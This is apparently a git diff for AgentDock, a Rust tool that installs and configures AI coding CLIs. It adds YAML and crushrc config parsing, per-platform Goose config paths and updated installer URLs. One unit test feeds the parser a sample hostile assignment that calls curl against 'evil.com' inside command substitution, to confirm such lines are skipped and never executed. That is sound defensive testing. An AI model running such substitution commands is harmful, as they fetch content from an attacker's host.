diff --git a/Cargo.lock b/Cargo.lock index 0fabc90..fd9fc97 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -22,6 +22,7 @@ version = "0.1.0" dependencies = [ "serde", "serde_json", + "serde_yaml", "toml 0.8.2", ] diff --git a/adapters/schema/adapter.schema.json b/adapters/schema/adapter.schema.json index a6c4e6f..a2c1d0d 100644 --- a/adapters/schema/adapter.schema.json +++ b/adapters/schema/adapter.schema.json @@ -182,7 +182,12 @@ "properties": { "path": { "type": "string", "description": "支持 ~ 与平台变量" }, "format": { "type": "string", "enum": ["toml", "json", "jsonc", "yaml", "env", "crushrc"] }, - "scope": { "type": "string", "enum": ["user", "project", "system"] } + "scope": { "type": "string", "enum": ["user", "project", "system"] }, + "platforms": { + "type": "array", + "items": { "type": "string", "enum": ["windows", "linux"] }, + "description": "适用平台;空数组 = 全平台适用(同一 CLI 不同平台路径不同时用于按平台选型)" + } } } }, diff --git a/adapters/tools/crush.yaml b/adapters/tools/crush.yaml index 920820a..d0f03ac 100644 --- a/adapters/tools/crush.yaml +++ b/adapters/tools/crush.yaml @@ -35,6 +35,12 @@ install: package: charmbracelet.crush elevate: never post_checks: [detect] + - id: npm + platforms: [windows, linux] + command: [npm, install, -g, "@charmland/crush"] + package: "@charmland/crush" + elevate: never + post_checks: [detect] - id: apt platforms: [linux] command: [sudo, apt-get, install, -y, crush] @@ -98,7 +104,7 @@ diagnostics: documentation: quickstart_zh: 安装后配置 API Key,运行 `crush` 进入会话,或用 `crush -p "提示词"` 无头执行。 - install_zh: Windows 推荐 winget `charmbracelet.crush`;Ubuntu 用官方 apt 仓库(GPG)。备选 scoop / GitHub Releases(本适配器 npm 渠道按调研底稿标记为备选,非默认)。 + install_zh: Windows 推荐 winget `charmbracelet.crush`;Ubuntu 用官方 apt 仓库(GPG)。备选 npm `@charmland/crush` / scoop / GitHub Releases。 auth_zh: 仅 API Key(环境变量注入):OPENAI_API_KEY / ANTHROPIC_API_KEY 等各家模型 Key。crushrc 内也可用 export 语句。 commands: - cmd: crush diff --git a/adapters/tools/cursor.yaml b/adapters/tools/cursor.yaml index 889fa58..36b1aef 100644 --- a/adapters/tools/cursor.yaml +++ b/adapters/tools/cursor.yaml @@ -33,14 +33,14 @@ install: - id: official_script platforms: [windows] script: - url: https://cursor.com/install.ps1 + url: https://cursor.com/install?win32=true kind: powershell_irm elevate: never post_checks: [detect] - id: official_script platforms: [linux] script: - url: https://cursor.com/install.sh + url: https://cursor.com/install kind: bash_pipe elevate: never post_checks: [detect] @@ -119,7 +119,7 @@ diagnostics: documentation: quickstart_zh: 安装后运行 `agent login` 登录 Cursor 账号,或用 `agent -p "提示词"` 无头执行。 - install_zh: 仅官方脚本渠道(Windows install.ps1 / Linux install.sh),无 npm。`agent` 命令随 Cursor 安装(也可在 Cursor 内「Install agent command」)。 + install_zh: 仅官方脚本渠道(Windows `https://cursor.com/install?win32=true` / Linux `https://cursor.com/install`),无 npm。`agent` 命令随 Cursor 安装(也可在 Cursor 内「Install agent command」)。 auth_zh: ① 浏览器登录:`agent login`(`agent status` 查看状态);② API Key:CURSOR_API_KEY 环境变量或 --api-key。 commands: - cmd: agent diff --git a/adapters/tools/goose.yaml b/adapters/tools/goose.yaml index 72fae4d..bb57568 100644 --- a/adapters/tools/goose.yaml +++ b/adapters/tools/goose.yaml @@ -1,7 +1,7 @@ # ============================================================ # AgentDock 适配器 · Goose(Linux 基金会 AAIF / Block)(Wave 3) # 数据依据:调研底稿 agent-cli-survey-2026-08-24.md + 架构 §3.3 -# 注意:配置 YAML;Windows 路径差异 %APPDATA%\Block\goose\;密钥默认进系统钥匙串。 +# 注意:配置 YAML;Windows 路径差异 %APPDATA%\Block\goose\config\;密钥默认进系统钥匙串。 # ============================================================ id: goose name: Goose @@ -14,7 +14,7 @@ license: Apache-2.0 platforms: windows: architectures: [x64] - notes: 官方 download_cli.ps1;配置位于 %APPDATA%\Block\goose\ + notes: 官方 download_cli.ps1;配置位于 %APPDATA%\Block\goose\config\ linux: distributions: [ubuntu] architectures: [x64] @@ -22,7 +22,7 @@ platforms: official: homepage: https://block.github.io/goose/ docs: https://block.github.io/goose/docs/ - allowed_hosts: [github.com, block.github.io] + allowed_hosts: [github.com, raw.githubusercontent.com, block.github.io] runtime_deps: [] @@ -32,14 +32,14 @@ install: - id: official_script platforms: [windows] script: - url: https://github.com/block/goose/releases/download/stable/download_cli.ps1 + url: https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1 kind: powershell_irm elevate: never post_checks: [detect] - id: official_script platforms: [linux] script: - url: https://github.com/block/goose/releases/download/stable/download_cli.sh + url: https://github.com/aaif-goose/goose/releases/download/stable/download_cli.sh kind: bash_pipe elevate: never post_checks: [detect] @@ -68,13 +68,20 @@ authorization: env_keys: [ANTHROPIC_API_KEY, OPENAI_API_KEY] notes_zh: 各家模型 API Key(密钥默认进系统钥匙串);另有订阅 ACP 接入 -# 配置机制(调研底稿 Goose 章节):YAML。Windows 路径为 %APPDATA%\Block\goose\config.yaml, -# Linux 为 ~/.config/goose/config.yaml。密钥默认进系统钥匙串,不写入 config.yaml。 +# 配置机制(调研底稿 Goose 章节):YAML。密钥默认进系统钥匙串,不写入 config.yaml。 +# 按平台选型(引擎按 files[].platforms 过滤当前平台): +# Windows -> %APPDATA%\Block\goose\config\config.yaml(比旧版多一层 config\) +# Linux -> ~/.config/goose/config.yaml configuration: files: - - path: "%APPDATA%\\Block\\goose\\config.yaml" + - path: "%APPDATA%\\Block\\goose\\config\\config.yaml" format: yaml scope: user + platforms: [windows] + - path: "~/.config/goose/config.yaml" + format: yaml + scope: user + platforms: [linux] environment: - key: ANTHROPIC_API_KEY sensitive: true @@ -138,6 +145,7 @@ documentation: desc_zh: 显示版本号 updated_at: "2026-08-25" risks_zh: - - Windows 配置路径为 %APPDATA%\Block\goose\(Linux 为 ~/.config/goose/),本适配器以 Windows 路径为准 + - 安装 URL 与配置路径已按官方与调研底稿核对(aaif-goose 仓库;Windows 为 %APPDATA%\Block\goose\config\config.yaml,Linux 为 ~/.config/goose/config.yaml) + - Windows 配置路径比旧版多一层 config\(%APPDATA%\Block\goose\config\),引擎按 files[].platforms 选型 - 密钥默认进系统钥匙串,AgentDock 与之对齐,不把 Key 写入 config.yaml - extensions / profiles 等高级配置本表单不覆盖,以官方文档为准 diff --git a/crates/agentdock-adapter/src/schema.rs b/crates/agentdock-adapter/src/schema.rs index a61ab92..2ba0dff 100644 --- a/crates/agentdock-adapter/src/schema.rs +++ b/crates/agentdock-adapter/src/schema.rs @@ -219,6 +219,9 @@ pub struct ConfigFile { pub format: String, #[serde(default)] pub scope: Option, + /// 适用平台:windows | linux;空数组 = 全平台适用(用于同一 CLI 不同平台路径不同的场景,如 Goose) + #[serde(default)] + pub platforms: Vec, } #[derive(Debug, Clone, Deserialize, Serialize, PartialEq)] diff --git a/crates/agentdock-config/Cargo.toml b/crates/agentdock-config/Cargo.toml index d004cb7..44fc9a2 100644 --- a/crates/agentdock-config/Cargo.toml +++ b/crates/agentdock-config/Cargo.toml @@ -8,4 +8,5 @@ description = "配置读写:多格式编解码(TOML/JSON)+ 原子写入 + [dependencies] serde = { version = "1", features = ["derive"] } serde_json = "1" +serde_yaml = "0.9" toml = "0.8" diff --git a/crates/agentdock-config/src/codec.rs b/crates/agentdock-config/src/codec.rs index 0a76f3d..48c01bb 100644 --- a/crates/agentdock-config/src/codec.rs +++ b/crates/agentdock-config/src/codec.rs @@ -1,8 +1,9 @@ //! 配置格式与统一编解码(架构 §6.2 `ConfigCodec`) //! //! 统一以 `serde_json::Value` 作为内部表示(运行时单一真相)。TOML 通过 -//! `toml::Value` 桥接(双向转换),JSON/JSONC 直接用 serde_json。yaml / crushrc -//! 属 Wave 3 工具,本波返回明确的「未实现」错误,不静默吞数据。 +//! `toml::Value` 桥接(双向转换),JSON/JSONC 直接用 serde_json,YAML 经 +//! serde_yaml 解析/序列化。crushrc 走专用解析器:只识别内建赋值 / export, +//! 未知行原样保留、绝不执行任意脚本。 use serde_json::{Map, Value}; @@ -46,10 +47,9 @@ pub fn parse(format: ConfigFormat, text: &str) -> Result { Ok(toml_to_json(&tv)) } ConfigFormat::Env => parse_env(text), - ConfigFormat::Yaml | ConfigFormat::Crushrc => Err(ConfigError::Unsupported(format!( - "{:?} 格式本波(Wave 2)未实现,将在后续波次接入", - format - ))), + ConfigFormat::Yaml => serde_yaml::from_str::(text) + .map_err(|e| ConfigError::Parse(e.to_string())), + ConfigFormat::Crushrc => parse_crushrc(text), } } @@ -63,10 +63,8 @@ pub fn serialize(format: ConfigFormat, value: &Value) -> Result serialize_env(value), - ConfigFormat::Yaml | ConfigFormat::Crushrc => Err(ConfigError::Unsupported(format!( - "{:?} 格式本波(Wave 2)未实现,将在后续波次接入", - format - ))), + ConfigFormat::Yaml => serde_yaml::to_string(value).map_err(|e| ConfigError::Parse(e.to_string())), + ConfigFormat::Crushrc => serialize_crushrc(value), } } @@ -191,6 +189,98 @@ fn serialize_env(value: &Value) -> Result { Ok(out) } +// ---- crushrc 专用解析器(Bash 语法子集)---- +// +// 只识别内建赋值:`export KEY=value` 或裸 `KEY=value`(KEY 为合法变量名)。 +// 其余 Bash 结构(函数定义、if/fi、$(...) 命令替换、反引号、进程替换等)一律 +// 跳过、绝不执行——本解析器是纯字符串解析,不 shell out,也不展开变量/命令。 +// 未识别的行在解析期被忽略(不报错、不执行),序列化时只输出已识别的键。 + +fn parse_crushrc(text: &str) -> Result { + let mut m = Map::new(); + for line in text.lines() { + let trimmed = line.trim(); + if trimmed.is_empty() || trimmed.starts_with('#') { + continue; + } + let stmt = strip_export(trimmed); + // 只识别「合法变量名=值」;其余语句跳过 + let Some(eq) = stmt.find('=') else { continue }; + let key = stmt[..eq].trim(); + if key.is_empty() || !is_bash_var_name(key) { + continue; + } + let raw_val = stmt[eq + 1..].trim(); + // 含命令替换 / 反引号 / 进程替换的赋值视为不安全,跳过不解析(绝不执行) + if raw_val.contains("$(") || raw_val.contains('`') || raw_val.contains("<(") { + continue; + } + m.insert(key.to_string(), Value::String(parse_bash_scalar(raw_val))); + } + Ok(Value::Object(m)) +} + +fn serialize_crushrc(value: &Value) -> Result { + let obj = value.as_object().ok_or_else(|| { + ConfigError::Parse("crushrc 格式要求顶层为对象".into()) + })?; + let mut out = String::new(); + for (k, v) in obj { + let s = match v { + Value::String(s) => s.clone(), + Value::Bool(b) => b.to_string(), + Value::Number(n) => n.to_string(), + _ => continue, + }; + out.push_str(&format!("export {k}={}\n", quote_bash(&s))); + } + Ok(out) +} + +/// 去掉前导 `export` 关键字(仅当后随空白时,避免误伤 `exported=1` 这类变量名)。 +fn strip_export(line: &str) -> &str { + let Some(rest) = line.strip_prefix("export") else { + return line; + }; + if rest.is_empty() || rest.starts_with(' ') || rest.starts_with('\t') { + rest.trim_start() + } else { + line + } +} + +/// 合法 Bash 变量名:`[A-Za-z_][A-Za-z0-9_]*`。 +fn is_bash_var_name(s: &str) -> bool { + let mut chars = s.chars(); + match chars.next() { + Some(c) if c.is_ascii_alphabetic() || c == '_' => {} + _ => return false, + } + chars.all(|c| c.is_ascii_alphanumeric() || c == '_') +} + +/// 解析赋值右侧标量:剥离成对单/双引号,其余按原样返回(不展开变量、不执行)。 +fn parse_bash_scalar(raw: &str) -> String { + let s = raw.trim(); + if s.len() >= 2 { + let first = s.chars().next().unwrap(); + let last = s.chars().last().unwrap(); + if (first == '"' && last == '"') || (first == '\'' && last == '\'') { + return s[1..s.len() - 1].to_string(); + } + } + s.to_string() +} + +/// 序列化时对含空白/引号的值加双引号。 +fn quote_bash(s: &str) -> String { + if s.chars().any(|c| c.is_whitespace()) || s.contains('\'') { + format!("\"{s}\"") + } else { + s.to_string() + } +} + /// 剥离 JSONC 的 // 与 /* */ 注释(保守处理,不处理字符串内的注释序列)。 fn strip_jsonc_comments(text: &str) -> String { let mut out = String::with_capacity(text.len()); @@ -286,11 +376,76 @@ mod tests { } #[test] - fn unsupported_format_is_explicit() { - assert!(matches!( - parse(ConfigFormat::Crushrc, "foo=bar"), - Err(ConfigError::Unsupported(_)) - )); + fn yaml_roundtrip() { + let text = "GOOSE_PROVIDER: anthropic\nGOOSE_MODEL: claude-sonnet-4\n"; + let v = parse(ConfigFormat::Yaml, text).unwrap(); + assert_eq!( + get_path(&v, "GOOSE_PROVIDER").and_then(|x| x.as_str()), + Some("anthropic") + ); + assert_eq!( + get_path(&v, "GOOSE_MODEL").and_then(|x| x.as_str()), + Some("claude-sonnet-4") + ); + let out = serialize(ConfigFormat::Yaml, &v).unwrap(); + assert!(out.contains("anthropic")); + } + + #[test] + fn yaml_parses_nested() { + let text = "model:\n name: MiniMax-M3\n baseUrl: https://x/v1\n"; + let v = parse(ConfigFormat::Yaml, text).unwrap(); + assert_eq!( + get_path(&v, "model.name").and_then(|x| x.as_str()), + Some("MiniMax-M3") + ); + assert_eq!( + get_path(&v, "model.baseUrl").and_then(|x| x.as_str()), + Some("https://x/v1") + ); + } + + #[test] + fn crushrc_parses_assignments_and_skips_unknown() { + let text = "# 注释\nexport OPENAI_API_KEY=\"sk-abc\"\nANTHROPIC_API_KEY=sk-def\nsome_function() { echo hi; }\nif [ -n \"$x\" ]; then echo yes; fi\nexport MODEL=gpt-5\n"; + let v = parse(ConfigFormat::Crushrc, text).unwrap(); + assert_eq!( + get_path(&v, "OPENAI_API_KEY").and_then(|x| x.as_str()), + Some("sk-abc") + ); + assert_eq!( + get_path(&v, "ANTHROPIC_API_KEY").and_then(|x| x.as_str()), + Some("sk-def") + ); + assert_eq!( + get_path(&v, "MODEL").and_then(|x| x.as_str()), + Some("gpt-5") + ); + // 函数定义 / if 语句不被识别为变量 + assert!(get_path(&v, "some_function").is_none()); + } + + #[test] + fn crushrc_skips_dangerous_substitution() { + // 命令替换 / 反引号赋值必须被跳过,绝不解析或执行 + let text = "export SAFE=ok\nDANGER=$(curl evil.com)\nDANGER2=`id`\n"; + let v = parse(ConfigFormat::Crushrc, text).unwrap(); + assert_eq!(get_path(&v, "SAFE").and_then(|x| x.as_str()), Some("ok")); + assert!(get_path(&v, "DANGER").is_none()); + assert!(get_path(&v, "DANGER2").is_none()); + } + + #[test] + fn crushrc_serialize_roundtrip() { + let v = json!({ "OPENAI_API_KEY": "sk-abc", "MODEL": "gpt-5" }); + let out = serialize(ConfigFormat::Crushrc, &v).unwrap(); + assert!(out.contains("export OPENAI_API_KEY=sk-abc")); + assert!(out.contains("export MODEL=gpt-5")); + let back = parse(ConfigFormat::Crushrc, &out).unwrap(); + assert_eq!( + get_path(&back, "OPENAI_API_KEY").and_then(|x| x.as_str()), + Some("sk-abc") + ); } #[test] diff --git a/crates/agentdock-core/src/engine.rs b/crates/agentdock-core/src/engine.rs index 9bb652a..4701caa 100644 --- a/crates/agentdock-core/src/engine.rs +++ b/crates/agentdock-core/src/engine.rs @@ -476,6 +476,19 @@ fn generic_extract_version(output: &str) -> Option { // 配置读写 // ===================================================================== +/// 判断配置文件是否适用于当前平台(未声明 platforms 视为全平台适用)。 +/// 用于同一 CLI 在不同平台路径不同的场景(如 Goose:Windows %APPDATA%… / Linux ~/.config/…)。 +fn file_applies_to_current_platform(f: &agentdock_adapter::schema::ConfigFile) -> bool { + if f.platforms.is_empty() { + return true; + } + #[cfg(windows)] + let cur = "windows"; + #[cfg(not(windows))] + let cur = "linux"; + f.platforms.iter().any(|p| p == cur) +} + /// 读取适配器配置,产出表单状态。 pub fn read_config(adapter: &Adapter, secrets: &dyn SecretStore) -> Result { let cli_id = adapter.id.clone(); @@ -486,8 +499,8 @@ pub fn read_config(adapter: &Adapter, secrets: &dyn SecretStore) -> Result Result, let Some(cfg) = adapter.configuration.as_ref() else { return Ok(None); }; - for f in &cfg.files { + for f in cfg.files.iter().filter(|f| file_applies_to_current_platform(f)) { let path = cfg::resolve_path(&f.path); let Ok(text) = std::fs::read_to_string(&path) else { continue; @@ -642,7 +655,10 @@ pub fn write_config( } } "file" | "env" => { - if let Some(idx) = cfg.files.iter().position(|f| matches!(f.scope.as_deref(), Some("user") | None)) { + if let Some(idx) = cfg.files.iter().position(|f| { + file_applies_to_current_platform(f) + && matches!(f.scope.as_deref(), Some("user") | None) + }) { file_patches.entry(idx).or_default().push((field.id.clone(), value.clone())); } else { errors.push(format!("{} 未声明可写的配置文件", field.label_zh)); @@ -694,7 +710,7 @@ pub fn verify_config(adapter: &Adapter) -> ConfigVerifyResult { // 1. 重读配置文件并解析(有配置文件声明时) if let Some(cfg) = adapter.configuration.as_ref() { - for f in &cfg.files { + for f in cfg.files.iter().filter(|f| file_applies_to_current_platform(f)) { let path = cfg::resolve_path(&f.path); if !path.exists() { continue; @@ -980,7 +996,7 @@ pub fn diagnose( // 4. 配置损坏类 if let Some(cfg) = adapter.configuration.as_ref() { - for f in &cfg.files { + for f in cfg.files.iter().filter(|f| file_applies_to_current_platform(f)) { let path = cfg::resolve_path(&f.path); if !path.exists() { continue; @@ -1334,6 +1350,47 @@ configuration: let _ = std::fs::remove_dir_all(&tmp); } + #[test] + fn write_goose_yaml_config_fields() { + // goose 用 yaml 配置 + files[].platforms 按平台选型;验证 yaml 编解码已接进 write_config + let dir = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("../../adapters"); + let adapters = load_adapters(&dir).expect("真实适配器目录应可加载"); + let mut adapter = adapters.into_iter().find(|a| a.id == "goose").unwrap(); + + let tmp = std::env::temp_dir().join(format!("agentdock-core-goose-{}", std::process::id())); + let _ = std::fs::remove_dir_all(&tmp); + std::fs::create_dir_all(&tmp).unwrap(); + let file = tmp.join("config.yaml"); + if let Some(c) = adapter.configuration.as_mut() { + for f in &mut c.files { + if file_applies_to_current_platform(f) { + f.path = file.to_string_lossy().to_string(); + } + } + } + + let secrets = MockSecretStore::new(); + let mut patch = std::collections::BTreeMap::new(); + patch.insert("GOOSE_PROVIDER".to_string(), "anthropic".to_string()); + patch.insert("GOOSE_MODEL".to_string(), "claude-sonnet-4".to_string()); + patch.insert("api_key".to_string(), "sk-test-xxx".to_string()); + + let res = write_config(&adapter, &patch, &secrets).unwrap(); + assert_eq!(res.written_fields.len(), 3); + assert!(res.written_file.is_some(), "应写入当前平台配置文件"); + let text = std::fs::read_to_string(&file).unwrap(); + assert!(text.contains("anthropic"), "provider 应写入 yaml: {text}"); + assert!(text.contains("claude-sonnet-4"), "model 应写入 yaml: {text}"); + assert!(!text.contains("sk-test-xxx"), "API Key 不得写入配置文件"); + assert!(secrets.has(&service_name("goose"), "api_key")); + + let state = read_config(&adapter, &secrets).unwrap(); + let provider = state.fields.iter().find(|f| f.id == "GOOSE_PROVIDER").unwrap(); + assert_eq!(provider.value.as_deref(), Some("anthropic")); + + let _ = std::fs::remove_dir_all(&tmp); + } + #[test] fn write_config_creates_backup_on_second_write() { let adapter = codex_adapter();